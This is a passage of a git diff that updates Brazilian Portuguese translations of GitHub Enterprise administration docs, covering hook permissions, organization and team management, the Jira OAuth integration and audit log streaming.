-A repository owner can only configure a hook if the site administrator selected the **Administrators can enable or disable this hook** option when they created the pre-receive hook. In an organization, the organization owner must also have selected the **Configurable** hook permission. To configure pre-receive hooks for a repository, you must be a repository owner.
+O proprietário do repositório só pode configurar um hook se o administrador do site tiver selecionado a opção **Administrators can enable or disable this hook** (Administradores podem habilitar e desabilitar este hook) ao criar o hook pre-receive. Em uma organização, o proprietário da organização também deve ter selecionado a permissão de hook **Configurable** (Configurável). Para configurar hooks pre-receive em um repositório, você deve ser proprietário do repositório.
 
 {% data reusables.profile.enterprise_access_profile %}
-2. Click **Repositories** and select which repository you want to configure pre-receive hooks for.
-![Repositories](/assets/images/enterprise/repos/repositories.png)
+2. Clique em **Repositories** (Repositórios) e selecione em qual repsitório você deseja configurar hooks pre-receive. ![Repositórios](/assets/images/enterprise/repos/repositories.png)
 {% data reusables.repositories.sidebar-settings %}
-4. In the left sidebar, click **Hooks & Services**.
-![Hooks and services](/assets/images/enterprise/repos/hooks-services.png)
-5. Next to the pre-receive hook that you want to configure, click the **Hook permissions** drop-down menu. Select whether to enable or disable the pre-receive hook.
-![Repository hook permissions](/assets/images/enterprise/repos/repo-hook-permissions.png)
+4. Na barra lateral esquerda, clique em **Hooks & Services** (Hooks e serviços). ![Hooks e serviços](/assets/images/enterprise/repos/hooks-services.png)
+5. Ao lado do hook pre-receive que você pretende configurar, clique no menu suspenso **Hook permissions** (Permissões de hook). Defina se você vai habilitar ou desabilitar os hooks pre-receive. ![Permissões do hook repositório](/assets/images/enterprise/repos/repo-hook-permissions.png)
diff --git a/translations/pt-BR/content/admin/user-management/index.md b/translations/pt-BR/content/admin/user-management/index.md
index 5e5f8682b2..1ee9f40845 100644
--- a/translations/pt-BR/content/admin/user-management/index.md
+++ b/translations/pt-BR/content/admin/user-management/index.md
@@ -1,7 +1,7 @@
 ---
-title: 'Managing users, organizations, and repositories'
-shortTitle: 'Managing users, organizations, and repositories'
-intro: 'This guide describes authentication methods for users signing in to your enterprise, how to create organizations and teams for repository access and collaboration, and suggested best practices for user security.'
+title: 'Gerenciar usuários, organizações e repositórios'
+shortTitle: 'Gerenciar usuários, organizações e repositórios'
+intro: 'Este guia descreve os métodos de autenticação para usuários que fazem login na sua empresa, além de mostrar como criar organizações e equipes para acesso e colaboração nos repositórios, bem como sugerir práticas recomendadas para a segurança do usuário.'
 redirect_from:
   - /enterprise/admin/categories/user-management
   - /enterprise/admin/developer-workflow/using-webhooks-for-continuous-integration
diff --git a/translations/pt-BR/content/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise.md b/translations/pt-BR/content/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise.md
index 8e5c3ea588..789a4a5a15 100644
--- a/translations/pt-BR/content/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise.md
+++ b/translations/pt-BR/content/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise.md
@@ -1,7 +1,6 @@
 ---
-title: Adding organizations to your enterprise
-intro: You can create new organizations or invite existing organizations to manage within your enterprise.
-product: '{% data reusables.gated-features.enterprise-accounts %}'
+title: Adicionando organizações à sua empresa
+intro: É possível criar novas organizações ou convidar organizações existentes para gerenciar dentro da sua empresa.
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise/managing-organizations-in-your-enterprise-account/adding-organizations-to-your-enterprise-account
   - /articles/adding-organizations-to-your-enterprise-account
@@ -14,46 +13,38 @@ topics:
   - Administrator
   - Enterprise
   - Organizations
-shortTitle: Add organizations
+shortTitle: Adicionar organizações
 ---
 
-## About organizations
+## Sobre organizações
 
-Your enterprise account can own organizations. Members of your enterprise can collaborate across related projects within an organization. For more information, see "[About organizations](/organizations/collaborating-with-groups-in-organizations/about-organizations)."
+Sua conta corporativa pode ser proprietária de organizações. Os integrantes da sua empresa podem colaborar em projetos relacionados dentro de uma organização. Para obter mais informações, consulte "[Sobre organizações](/organizations/collaborating-with-groups-in-organizations/about-organizations)".
 
-Enterprise owners can create new organizations within an enterprise account's settings or invite existing organizations to join an enterprise. To add an organization to your enterprise, you must create the organization from within the enterprise account settings.
+Os proprietários corporativos podem criar novas organizações dentro das configurações de uma conta corporativa ou convidar organizações existentes para participar de uma empresa. Para adicionar uma organização à sua empresa, você deve criar a organização dentro das configurações de conta corporativa.
 
-You can only add organizations this way to an existing enterprise account. {% data reusables.enterprise.create-an-enterprise-account %} For more information, see "[Creating an enterprise account](/admin/overview/creating-an-enterprise-account)."
+Você só pode adicionar organizações dessa forma a uma conta corporativa existente. {% data reusables.enterprise.create-an-enterprise-account %} Para obter mais informações, consulte "[Criando uma conta corporativa](/admin/overview/creating-an-enterprise-account)".
 
-## Creating an organization in your enterprise account
+## Criar uma organização em sua conta corporativa
 
-New organizations you create within your enterprise account settings are included in your enterprise account's {% data variables.product.prodname_ghe_cloud %} subscription.
+Novas organizações que você cria nas configurações de sua conta corporativa são incluídas na assinatura da conta corporativa do {% data variables.product.prodname_ghe_cloud %}.
 
-Enterprise owners who create an organization owned by the enterprise account automatically become organization owners. For more information about organization owners, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)."
+Os proprietários da empresa que criam uma organização pertencente à conta corporativa automaticamente se tornam proprietários da organização. Para obter mais informações sobre os proprietários da organização, consulte "[Funções em uma organização](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)".
 
 {% data reusables.enterprise-accounts.access-enterprise %}
-2. On the **Organizations** tab, above the list of organizations, click **New organization**.
-  ![New organization button](/assets/images/help/business-accounts/enterprise-account-add-org.png)
-3. Under "Organization name", type a name for your organization.
-  ![Field to type a new organization name](/assets/images/help/business-accounts/new-organization-name-field.png)
-4. Click **Create organization**.
-5. Under "Invite owners", type the username of a person you'd like to invite to become an organization owner, then click **Invite**.
-  ![Organization owner search field and Invite button](/assets/images/help/business-accounts/invite-org-owner.png)
-6. Click **Finish**.
+2. Na guia **Organizations** (Organizações), acima da lista de organizações, clique em **New organization** (Nova organização). ![Botão New organization (Nova organização)](/assets/images/help/business-accounts/enterprise-account-add-org.png)
+3. Em "Organization name" (Nome da organização), digite um nome para sua organização. ![Campo para digitar o nome da nova organização](/assets/images/help/business-accounts/new-organization-name-field.png)
+4. Clique em **Create organization** (Criar organização).
+5. Em "Invite owners" (Convidar proprietários), digite o nome de usuário de uma pessoa que deseja convidar para se tornar um proprietário da organização e clique em **Invite** (Convidar). ![Campo de pesquisa do proprietário da organização e botão Invite (Convidar)](/assets/images/help/business-accounts/invite-org-owner.png)
+6. Clique em **Finalizar**.
 
-## Inviting an organization to join your enterprise account
+## Convidar uma organização para se juntar-se à sua conta corporativa
 
-Enterprise owners can invite existing organizations to join their enterprise account. If the organization you want to invite is already owned by another enterprise, you will not be able to issue an invitation until the previous enterprise gives up ownership of the organization. For more information, see "[Removing an organization from your enterprise](/admin/user-management/managing-organizations-in-your-enterprise/removing-organizations-from-your-enterprise)."
+Os proprietários corporativos podem convidar organizações existentes para juntar-se à sua conta corporativa. Se a organização que deseja convidar já pertence a outra empresa, você não poderá enviar um convite até que a empresa anterior desista da propriedade da organização. Para obter mais informações, consulte "[Removendo uma organização da sua empresa](/admin/user-management/managing-organizations-in-your-enterprise/removing-organizations-from-your-enterprise)."
 
 {% data reusables.enterprise-accounts.access-enterprise %}
-2. On the **Organizations** tab, above the list of organizations, click **Invite organization**.
-![Invite organization](/assets/images/help/business-accounts/enterprise-account-invite-organization.png)
-3. Under "Organization name", start typing the name of the organization you want to invite and select it when it appears in the drop-down list.
-![Search for organization](/assets/images/help/business-accounts/enterprise-account-search-for-organization.png)
-4. Click **Invite organization**.
-5. The organization owners will receive an email inviting them to join the organization. At least one owner needs to accept the invitation before the process can continue. You can cancel or resend the invitation at any time before an owner approves it.
-![Cancel or resend](/assets/images/help/business-accounts/enterprise-account-invitation-sent.png)
-6. Once an organization owner has approved the invitation, you can view its status in the list of pending invitations.
-![Pending invitation](/assets/images/help/business-accounts/enterprise-account-pending.png)
-7. Click **Approve** to complete the transfer, or **Cancel** to cancel it.
-![Approve invitation](/assets/images/help/business-accounts/enterprise-account-transfer-approve.png)
+2. Na aba **Organizações**, acima da lista de organizações, clique em **Convidar organização**. ![Convidar organização](/assets/images/help/business-accounts/enterprise-account-invite-organization.png)
+3. Em "Organização", comece a digitar o nome da organização que deseja convidar e selecione-a quando aparecer na lista suspensa. ![Pesquisar organização](/assets/images/help/business-accounts/enterprise-account-search-for-organization.png)
+4. Clique em **Convidar organização**.
+5. Os proprietários da organização receberão um e-mail convidando-os para participar da organização. Pelo menos um proprietário deverá aceitar o convite antes que o processo possa continuar. Você pode cancelar ou reenviar o convite a qualquer momento antes que um proprietário o aprove. ![Cancelar ou reenviar](/assets/images/help/business-accounts/enterprise-account-invitation-sent.png)
+6. Uma vez que o proprietário da organização tenha aprovado o convite, você poderá ver o seu estado na lista de convites pendentes. ![Convite pendente](/assets/images/help/business-accounts/enterprise-account-pending.png)
+7. Clique em **Aprovar** para concluir a transferência ou **Cancelar** para cancelá-la. ![Aprovar convite](/assets/images/help/business-accounts/enterprise-account-transfer-approve.png)
diff --git a/translations/pt-BR/content/admin/user-management/managing-organizations-in-your-enterprise/adding-people-to-teams.md b/translations/pt-BR/content/admin/user-management/managing-organizations-in-your-enterprise/adding-people-to-teams.md
index f02cedf911..7e6e8814e7 100644
--- a/translations/pt-BR/content/admin/user-management/managing-organizations-in-your-enterprise/adding-people-to-teams.md
+++ b/translations/pt-BR/content/admin/user-management/managing-organizations-in-your-enterprise/adding-people-to-teams.md
@@ -1,12 +1,12 @@
 ---
-title: Adding people to teams
+title: Adicionar pessoas a equipes
 redirect_from:
   - /enterprise/admin/articles/adding-teams
   - /enterprise/admin/articles/adding-or-inviting-people-to-teams
   - /enterprise/admin/guides/user-management/adding-or-inviting-people-to-teams
   - /enterprise/admin/user-management/adding-people-to-teams
   - /admin/user-management/adding-people-to-teams
-intro: 'Once a team has been created, organization admins can add users from {% data variables.product.product_location %} to the team and determine which repositories they have access to.'
+intro: 'Após a criação de uma equipe, os administradores da organização podem adicionar usuários da {% data variables.product.product_location %} e determinar quais repositórios eles poderão acessar.'
 versions:
   ghes: '*'
 type: how_to
@@ -16,12 +16,13 @@ topics:
   - Teams
   - User account
 ---
-Each team has its own individually defined [access permissions for repositories owned by your organization](/articles/permission-levels-for-an-organization).
 
-- Members with the owner role can add or remove existing organization members from all teams.
-- Members of teams that give admin permissions can only modify team membership and repositories for that team.
+Cada equipe tem suas próprias [ permissões de acesso definidas individualmente para os repositórios pertencentes à organização](/articles/permission-levels-for-an-organization).
 
-## Setting up a team
+- Integrantes com função de Proprietário podem adicionar ou remover os integrantes atuais de todas as equipes da organização.
+- Integrantes de equipes que concedem permissões de administrador só podem modificar a participação e as permissões de repositórios de sua própria equipe.
+
+## Configurar uma equipe
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
@@ -29,8 +30,8 @@ Each team has its own individually defined [access permissions for repositories
 {% data reusables.organizations.invite_to_team %}
 {% data reusables.organizations.review-team-repository-access %}
 
-## Mapping teams to LDAP groups (for instances using LDAP Sync for user authentication)
+## Mapear equipes para grupos LDAP (em instâncias com sincronização LDAP para autenticação de usuários)
 
 {% data reusables.enterprise_management_console.badge_indicator %}
 
-To add a new member to a team synced to an LDAP group, add the user as a member of the LDAP group, or contact your LDAP administrator.
+Para adicionar um novo integrante a uma equipe sincronizada com um grupo LDAP, adicione o usuário como integrante do grupo LDAP ou entre em contato com o administrador do LDAP.
diff --git a/translations/pt-BR/content/admin/user-management/managing-organizations-in-your-enterprise/index.md b/translations/pt-BR/content/admin/user-management/managing-organizations-in-your-enterprise/index.md
index 9df1581688..b2b5289fc9 100644
--- a/translations/pt-BR/content/admin/user-management/managing-organizations-in-your-enterprise/index.md
+++ b/translations/pt-BR/content/admin/user-management/managing-organizations-in-your-enterprise/index.md
@@ -1,5 +1,5 @@
 ---
-title: Managing organizations in your enterprise
+title: Gerenciar organizações na sua empresa
 redirect_from:
   - /enterprise/admin/articles/adding-users-and-teams
   - /enterprise/admin/categories/admin-bootcamp
@@ -8,7 +8,7 @@ redirect_from:
   - /articles/managing-organizations-in-your-enterprise-account
   - /github/setting-up-and-managing-your-enterprise-account/managing-organizations-in-your-enterprise-account
   - /github/setting-up-and-managing-your-enterprise/managing-organizations-in-your-enterprise-account
-intro: 'Organizations are great for creating distinct groups of users within your company, such as divisions or groups working on similar projects. {% ifversion ghae %}Internal{% else %}Public and internal{% endif %} repositories that belong to an organization are accessible to members of other organizations in the enterprise, while private repositories are inaccessible to anyone but members of the organization that are granted access.'
+intro: 'As organizações são uma forma excelente de criar conjuntos distintos de usuários na empresa, como divisões ou grupos que trabalham em projetos semelhantes. {% ifversion ghae %}Os repositórios internos{% else %}públicos e internos{% endif %} que pertencem a uma organização podem ser acessados por membros de outras organizações da empresa, enquanto os repositórios privados podem ser acessador por qualquer pessoa exceto integrantes da organização que recebem acesso.'
 versions:
   ghec: '*'
   ghes: '*'
@@ -29,5 +29,6 @@ children:
   - /removing-organizations-from-your-enterprise
   - /managing-projects-using-jira
   - /continuous-integration-using-jenkins
-shortTitle: Manage organizations
+shortTitle: Gerenciar organizações
 ---
+
diff --git a/translations/pt-BR/content/admin/user-management/managing-organizations-in-your-enterprise/managing-projects-using-jira.md b/translations/pt-BR/content/admin/user-management/managing-organizations-in-your-enterprise/managing-projects-using-jira.md
index 10a117009a..a8a75333de 100644
--- a/translations/pt-BR/content/admin/user-management/managing-organizations-in-your-enterprise/managing-projects-using-jira.md
+++ b/translations/pt-BR/content/admin/user-management/managing-organizations-in-your-enterprise/managing-projects-using-jira.md
@@ -1,6 +1,6 @@
 ---
-title: Managing projects using Jira
-intro: 'You can integrate Jira with {% data variables.product.prodname_enterprise %} for project management.'
+title: Gerenciar projetos usando o Jira
+intro: 'Você pode integrar o Jira com {% data variables.product.prodname_enterprise %} para o gerenciamento de projeto.'
 redirect_from:
   - /enterprise/admin/guides/installation/project-management-using-jira
   - /enterprise/admin/articles/project-management-using-jira
@@ -14,56 +14,57 @@ type: how_to
 topics:
   - Enterprise
   - Project management
-shortTitle: Project management with Jira
+shortTitle: Gerenciamento de projetos com Jira
 ---
-## Connecting Jira to a {% data variables.product.prodname_enterprise %} organization
 
-1. Sign into your {% data variables.product.prodname_enterprise %} account at http[s]://[hostname]/login. If already signed in, click on the {% data variables.product.prodname_dotcom %} logo in the top left corner.
-2. Click on your profile icon under the {% data variables.product.prodname_dotcom %} logo and select the organization you would like to connect with Jira.
+## Conectar o Jira a uma organização de {% data variables.product.prodname_enterprise %}
 
-  ![Select an organization](/assets/images/enterprise/orgs-and-teams/profile-select-organization.png)
+1. Entre na sua conta do {% data variables.product.prodname_enterprise %} em http[s]://[hostname]/login. Se já conectado, clique no logotipo de {% data variables.product.prodname_dotcom %} no canto superior esquerdo.
+2. Clique no seu ícone de perfil abaixo do logotipo de {% data variables.product.prodname_dotcom %} e selecione a organização que você deseja que se conecte com o Jira.
 
-3. Click on the **Edit _organization name_ settings** link.
+  ![Selecione uma organização](/assets/images/enterprise/orgs-and-teams/profile-select-organization.png)
 
-  ![Edit organization settings](/assets/images/enterprise/orgs-and-teams/edit-organization-settings.png)
+3. Clique no link de configuração **Editar _nome da organização_ **.
 
-4. In the left sidebar, under **Developer settings**, click **OAuth Apps**.
+  ![Editar configurações da organização](/assets/images/enterprise/orgs-and-teams/edit-organization-settings.png)
 
-  ![Select OAuth Apps](/assets/images/enterprise/orgs-and-teams/organization-dev-settings-oauth-apps.png)
+4. Na barra lateral esquerda, em **Configurações do desenvolvedor**, clique em **Aplicativos OAuth**.
 
-5. Click on the **Register new application** button.
+  ![Selecionar aplicativos OAuth](/assets/images/enterprise/orgs-and-teams/organization-dev-settings-oauth-apps.png)
 
-  ![Register new application button](/assets/images/enterprise/orgs-and-teams/register-oauth-application-button.png)
+5. Clique no botão **Registrar novo aplicativo**.
 
-6. Fill in the application settings:
-    - In the **Application name** field, type "Jira" or any name you would like to use to identify the Jira instance.
-    - In the **Homepage URL** field, type the full URL of your Jira instance.
-    - In the **Authorization callback URL** field, type the full URL of your Jira instance.
-7. Click **Register application**.
-8. At the top of the page, note the **Client ID** and **Client Secret**. You will need these for configuring your Jira instance.
+  ![Botão para cadastrar novo aplicativo](/assets/images/enterprise/orgs-and-teams/register-oauth-application-button.png)
 
-## Jira instance configuration
+6. Defina as configurações do aplicativo:
+    - No campo **do nome do aplicativo**, digite "Jira" ou qualquer nome que você gostaria de usar para identificar a instância do Jira.
+    - No campo **Homepage URL**, digite a URL completa da sua instância do Jira.
+    - No campo **URL de retorno de chamada de autorização**, digite a URL completa de sua instância do Jira.
+7. Clique em **Register application** (Registrar aplicativo).
+8. Na parte superior da página, anote os dados dos campos **Client ID** (ID do cliente) e **Client Secret** (Segredo do cliente). Você precisará dessas informações para configurar sua instância do Jira.
 
-1. On your Jira instance, log into an account with administrative access.
-2. At the top of the page, click the settings (gear) icon and choose **Applications**.
+## Configuração da instância do Jira
 
-  ![Select Applications on Jira settings](/assets/images/enterprise/orgs-and-teams/jira/jira-applications.png)
+1. Na instância do Jira, faça login em uma conta com acesso administrativo.
+2. Na parte superior da página, clique no ícone de configurações (engrenagem) e selecione **Aplicativos**.
 
-3. In the left sidebar, under **Integrations**, click **DVCS accounts**.
+  ![Selecionar aplicativos nas configurações do Jira](/assets/images/enterprise/orgs-and-teams/jira/jira-applications.png)
 
-  ![Jira Integrations menu - DVCS accounts](/assets/images/enterprise/orgs-and-teams/jira/jira-integrations-dvcs.png)
+3. Na barra lateral esquerda, em **Integrações**, clique em **contas DVCS**.
 
-4. Click **Link Bitbucket Cloud or {% data variables.product.prodname_dotcom %} account**.
+  ![Menu de Integrações do Jira - Contas DVCS](/assets/images/enterprise/orgs-and-teams/jira/jira-integrations-dvcs.png)
 
-  ![Link GitHub account to Jira](/assets/images/enterprise/orgs-and-teams/jira/jira-link-github-account.png)
+4. Clique **Link Bitbucket Cloud ou conta de {% data variables.product.prodname_dotcom %}**.
 
-5. In the **Add New Account** modal, fill in your {% data variables.product.prodname_enterprise %} settings:
-    - From the **Host** dropdown menu, choose **{% data variables.product.prodname_enterprise %}**.
-    - In the **Team or User Account** field, type the name of your {% data variables.product.prodname_enterprise %} organization or personal account.
-    - In the **OAuth Key** field, type the Client ID of your {% data variables.product.prodname_enterprise %} developer application.
-    - In the **OAuth Secret** field, type the Client Secret for your {% data variables.product.prodname_enterprise %} developer application.
-    - If you don't want to link new repositories owned by your {% data variables.product.prodname_enterprise %} organization or personal account, deselect **Auto Link New Repositories**.
-    - If you don't want to enable smart commits, deselect **Enable Smart Commits**.
-    - Click **Add**.
-6. Review the permissions you are granting to your {% data variables.product.prodname_enterprise %} account and click **Authorize application**.
-7. If necessary, type your password to continue.
+  ![Vincular conta do GitHub ao Jira](/assets/images/enterprise/orgs-and-teams/jira/jira-link-github-account.png)
+
+5. No modal **Add New Account** (Adicionar nova conta), defina as configurações do {% data variables.product.prodname_enterprise %}:
+    - No menu suspenso **Host**, selecione **{% data variables.product.prodname_enterprise %}**.
+    - No campo **Team or User Account** (Conta de equipe ou usuário), digite o nome da sua organização ou conta pessoal do {% data variables.product.prodname_enterprise %}.
+    - No campo **OAuth Key** (Chave OAuth), informe o Client ID (ID do cliente) do seu aplicativo de desenvolvedor do {% data variables.product.prodname_enterprise %}.
+    - No campo **OAuth Secret** (Segredo OAuth), informe o Client Secret (Segredo do cliente) do seu aplicativo de desenvolvedor do {% data variables.product.prodname_enterprise %}.
+    - Se você não desejar vincular novos repositórios que pertencem à sua organização de {% data variables.product.prodname_enterprise %} ou conta pessoal, desmarque a opção **Vincular novos repositórios automaticamente**.
+    - Se você não quiser ativar commits inteligentes, desmarque **Habilitar commits inteligentes**.
+    - Clique em **Salvar**.
+6. Revise as permissões que você vai conceder à sua conta do {% data variables.product.prodname_enterprise %} e clique em **Authorize application** (Autorizar aplicativo).
+7. Se necessário, digite a senha para continuar.
diff --git a/translations/pt-BR/content/admin/user-management/managing-organizations-in-your-enterprise/managing-unowned-organizations-in-your-enterprise.md b/translations/pt-BR/content/admin/user-management/managing-organizations-in-your-enterprise/managing-unowned-organizations-in-your-enterprise.md
index fc7f8c4c86..b2755b6ded 100644
--- a/translations/pt-BR/content/admin/user-management/managing-organizations-in-your-enterprise/managing-unowned-organizations-in-your-enterprise.md
+++ b/translations/pt-BR/content/admin/user-management/managing-organizations-in-your-enterprise/managing-unowned-organizations-in-your-enterprise.md
@@ -1,7 +1,6 @@
 ---
 title: Gerenciando organizações não pertencentes à sua empresa
 intro: Você pode tornar-se proprietário de uma organização na sua conta corporativa que não tem proprietários no momento.
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 permissions: Enterprise owners can manage unowned organizations in an enterprise account.
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise/managing-organizations-in-your-enterprise-account/managing-unowned-organizations-in-your-enterprise-account
diff --git a/translations/pt-BR/content/admin/user-management/managing-organizations-in-your-enterprise/preventing-users-from-creating-organizations.md b/translations/pt-BR/content/admin/user-management/managing-organizations-in-your-enterprise/preventing-users-from-creating-organizations.md
index 41cbf9b46b..714cb0980e 100644
--- a/translations/pt-BR/content/admin/user-management/managing-organizations-in-your-enterprise/preventing-users-from-creating-organizations.md
+++ b/translations/pt-BR/content/admin/user-management/managing-organizations-in-your-enterprise/preventing-users-from-creating-organizations.md
@@ -1,11 +1,11 @@
 ---
-title: Preventing users from creating organizations
+title: Impedir os usuários de criarem organizações
 redirect_from:
   - /enterprise/admin/articles/preventing-users-from-creating-organizations
   - /enterprise/admin/hidden/preventing-users-from-creating-organizations
   - /enterprise/admin/user-management/preventing-users-from-creating-organizations
   - /admin/user-management/preventing-users-from-creating-organizations
-intro: You can prevent users from creating organizations in your enterprise.
+intro: Você pode impedir que usuários criem organizações na sua empresa.
 versions:
   ghes: '*'
   ghae: '*'
@@ -14,8 +14,9 @@ topics:
   - Enterprise
   - Organizations
   - Policies
-shortTitle: Prevent organization creation
+shortTitle: Evitar a criação de organização
 ---
+
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% ifversion ghes or ghae %}
 {% data reusables.enterprise-accounts.policies-tab %}
@@ -23,5 +24,4 @@ shortTitle: Prevent organization creation
 {% data reusables.enterprise-accounts.settings-tab %}
 {% endif %}
 {% data reusables.enterprise-accounts.options-tab %}
-4. Under "Users can create organizations", use the drop-down menu and click **Enabled** or **Disabled**.
-![Users can create organizations drop-down](/assets/images/enterprise/site-admin-settings/users-create-orgs-dropdown.png)
+4. No menu suspenso em "Users can create organizations" (Usuários podem criar organizações), clique em **Enabled** (Habilitado) ou **Disabled** (Desabilitado). ![Menu suspenso Users can create organizations (Usuários podem criar organizações)](/assets/images/enterprise/site-admin-settings/users-create-orgs-dropdown.png)
diff --git a/translations/pt-BR/content/admin/user-management/managing-organizations-in-your-enterprise/removing-organizations-from-your-enterprise.md b/translations/pt-BR/content/admin/user-management/managing-organizations-in-your-enterprise/removing-organizations-from-your-enterprise.md
index 0ba1cedf87..1e43392203 100644
--- a/translations/pt-BR/content/admin/user-management/managing-organizations-in-your-enterprise/removing-organizations-from-your-enterprise.md
+++ b/translations/pt-BR/content/admin/user-management/managing-organizations-in-your-enterprise/removing-organizations-from-your-enterprise.md
@@ -1,31 +1,28 @@
 ---
-title: Removing organizations from your enterprise
-intro: 'If an organization should no longer be a part of your enterprise, you can remove the organization.'
-permissions: 'Enterprise owners can remove any organization from their enterprise.'
+title: Removendo organizações da sua empresa
+intro: 'Se uma organização não fizer mais parte de sua empresa, você poderá remover a organização.'
+permissions: Enterprise owners can remove any organization from their enterprise.
 versions:
   ghec: '*'
 type: how_to
 topics:
   - Enterprise
-shortTitle: Removing organizations
+shortTitle: Removendo organizações
 ---
 
 {% warning %}
 
-**Warning**: When you remove an organization from your enterprise:
-- Billing, identity management, 2FA requirements, and other policies for the organization will no longer be governed by your enterprise.
-- The organization will be downgraded to the free plan.
-- The organization will be governed by our standard Terms of Service.
-- Any internal repositories within the organization will be converted to private repositories.
+**Aviso**: Ao remover uma organização da sua empresa:
+- A cobrança, gestão de identidade, requisitos de 2FA e outras políticas para a organização não serão mais regidos pela sua empresa.
+- A organização será rebaixada para o plano gratuito.
+- A organização será regida pelos nossos Termos de Serviço padrão.
+- Todos os repositórios internos da organização serão convertidos em repositórios privados.
 
 {% endwarning %}
 
-## Removing an organization from your Enterprise
+## Removendo uma organização da sua empresa
 
 {% data reusables.enterprise-accounts.access-enterprise %}
-2. Under "Organizations", in the search bar, begin typing the organization's name until the organization appears in the search results.
-![Screenshot of the search field for organizations](/assets/images/help/enterprises/organization-search.png)
-3. To the right of the organization's name, select the {% octicon "gear" aria-label="The gear icon" %} drop-down menu and click **Remove organization**.
-![Screenshot of an organization in search results](/assets/images/help/enterprises/remove-organization.png)
-4. Review the warnings, then click **Remove organization**.
-![Screenshot of a warning message and button to remove organization](/assets/images/help/enterprises/remove-organization-warning.png)
+2. Em "Organizações", na barra de pesquisa, comece a digitar o nome da organização até que a organização apareça nos resultados de busca. ![Captura de tela do campo de busca para organizações](/assets/images/help/enterprises/organization-search.png)
+3. À direita do nome da organização, selecione o menu suspenso {% octicon "gear" aria-label="The gear icon" %} e clique em **Remover organização**. ![Captura de tela de uma organização nos resultados de busca](/assets/images/help/enterprises/remove-organization.png)
+4. Revise as advertências e clique em **Remover organização**. ![Captura de tela de uma mensagem de aviso e botão para remover a organização](/assets/images/help/enterprises/remove-organization-warning.png)
diff --git a/translations/pt-BR/content/admin/user-management/managing-organizations-in-your-enterprise/streaming-the-audit-logs-for-organizations-in-your-enterprise-account.md b/translations/pt-BR/content/admin/user-management/managing-organizations-in-your-enterprise/streaming-the-audit-logs-for-organizations-in-your-enterprise-account.md
index 01153604dc..8f6f0436c3 100644
--- a/translations/pt-BR/content/admin/user-management/managing-organizations-in-your-enterprise/streaming-the-audit-logs-for-organizations-in-your-enterprise-account.md
+++ b/translations/pt-BR/content/admin/user-management/managing-organizations-in-your-enterprise/streaming-the-audit-logs-for-organizations-in-your-enterprise-account.md
@@ -1,7 +1,6 @@
 ---
-title: Streaming the audit logs for organizations in your enterprise account
-intro: 'You can stream audit and Git events data from {% data variables.product.prodname_dotcom %} to an external data management system.'
-product: '{% data reusables.gated-features.enterprise-accounts %}'
+title: Transmitir os logs de auditoria para organizações da sua conta corporativa
+intro: 'Você pode transmitir dados de auditoria e eventos do Git de {% data variables.product.prodname_dotcom %} para um sistema externo de gerenciamento de dados.'
 miniTocMaxHeadingLevel: 3
 versions:
   ghec: '*'
@@ -11,7 +10,7 @@ topics:
   - Enterprise
   - Logging
   - Organizations
-shortTitle: Stream organization audit logs
+shortTitle: Transmitir os logs de auditoria da organização
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise/managing-organizations-in-your-enterprise-account/streaming-the-audit-logs-for-organizations-in-your-enterprise-account
 permissions: Enterprise owners can configure audit log streaming.
@@ -19,164 +18,150 @@ permissions: Enterprise owners can configure audit log streaming.
 
 {% note %}
 
-**Note:** Audit log streaming is currently in beta for {% data variables.product.prodname_ghe_cloud %} and subject to change.
+**Observação:** A transmissão do log de auditoria está atualmente em beta para {% data variables.product.prodname_ghe_cloud %} e sujeito a alterações.
 
 {% endnote %}
 
-## About exporting audit data
+## Sobre a exportação dos dados de auditoria
 
-You can extract audit log and Git events data from {% data variables.product.prodname_dotcom %} in multiple ways:
+Você pode extrair dados de eventos de auditoria de {% data variables.product.prodname_dotcom %} e Git de várias maneiras:
 
-* Go to the Audit log page in {% data variables.product.prodname_dotcom %} and click **Export**. For more information, see "[Viewing the audit logs for organizations in your enterprise account](/github/setting-up-and-managing-your-enterprise/managing-organizations-in-your-enterprise-account/viewing-the-audit-logs-for-organizations-in-your-enterprise-account)" and "[Exporting the audit log](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#exporting-the-audit-log)."
-* Use the API to poll for new audit log events. For more information, see "[Using the audit log API](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#using-the-audit-log-api)."
-* Set up {% data variables.product.product_name %} to stream audit data as events are logged.
+* Acesse a página de log de auditoria em {% data variables.product.prodname_dotcom %} e clique em **Exportar**. Para obter mais informações, consulte "[Visualizando os logs de auditoria para organizações na conta corporativa](/github/setting-up-and-managing-your-enterprise/managing-organizations-in-your-enterprise-account/viewing-the-audit-logs-for-organizations-in-your-enterprise-account)" e "[Exportando o log de auditoria](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#exporting-the-audit-log)".
+* Use a API para fazer uma pesquisa para novos eventos de log de auditoria. Para obter mais informações, consulte "[Usando a API do log de auditoria](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#using-the-audit-log-api)."
+* Configure {% data variables.product.product_name %} para transmitir dados de auditoria enquanto eventos são registrados.
 
-Currently, audit log streaming is supported for multiple storage providers.
+Atualmente, a transmissão do log de auditoria é compatível com vários provedores de armazenamento.
 - Amazon S3
-- Azure Event Hubs
-- Google Cloud Storage
+- Centros de evento do Azure
+- Armazenamento do Google Cloud
 - Splunk
 
-## About audit log streaming
+## Sobre a transmissão do log de auditoria
 
-To help protect your intellectual property and maintain compliance for your organization, you can use streaming to keep copies of your audit log data and monitor:
+Para ajudar a proteger sua propriedade intelectual e manter a conformidade da sua organização, você pode usar o a transmissão para manter cópias dos seus dados e monitoramento do log de auditoria:
 {% data reusables.audit_log.audited-data-list %}
 
-The benefits of streaming audit data include:
+Os benefícios do streaming de dados de auditoria incluem:
 
-* **Data exploration**. You can examine streamed events using your preferred tool for querying large quantities of data. The stream contains both audit events and Git events across the entire enterprise account.
